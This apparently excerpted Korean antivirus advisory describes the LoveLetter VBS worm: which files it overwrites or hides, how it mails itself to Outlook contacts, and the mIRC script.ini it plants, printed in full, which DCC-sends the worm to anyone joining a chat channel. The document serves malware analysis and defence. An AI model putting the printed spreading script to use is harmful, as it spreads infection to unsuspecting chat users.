확장자가 vbs, vbe 인 경우에는 바이러스가 겹쳐써지며 js, jse, css,
wsh, sct, hta 와 jpg, jpeg 의 경우 바이러스로 겹쳐써지고 확장자가 vbs
로 바뀐다
그리고 확장자가 mp2, mp3 인 파일들은 숨김속성으로 바꾸고 같은 이름에
vbs 확장자가 추가된 바이러스 파일을 생성한다.
ex) abcd.mp3 -> abcd.mp3.vbs(abcd.mp3는 숨김속성으로 되어있음)
감염시 mirc 폴더의 script.ini 를 아래와 같이 바꾸어 mirc 를 사용하여
채팅을 할 때 상대방에게 LOVE-LETTER-FOR-YOU.TXT.vbs 파일을 보낸다.
[script]
;mIRC Script
; Please dont edit this script... mIRC will corrupt, if mIRC will
corrupt... WINDOWS will affect and will not run correctly. thanks
;
;Khaled Mardam-Bey
;http://www.mirc.com
;
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick 시스템폴더\LOVE-LETTER-FOR-YOU.HTM
n3=}
아웃룩에 있는 주소록에 있는 사용자들에게 아래의 내용으로 메일을 보낸
다.
예방 및 수동조치방법
무단전재ㆍ배포금지
에브리존에서 제공하는 모든 컨텐츠 정보에 대한 저작권은 에브리존의 소유이며 관련법의 보호를 받습니다.
에브리존의 사전 허가 없이 에브리존 컨텐츠를 무단으로 전재, 배포를 금지되어 있습니다.
이를 위반하는 경우 손해배상의 대상 또는 민.형사상의 법적 소송 대상이 될 수 있습니다.
* 에브리존 정보 이용 문의 : greenking@everyzone.com
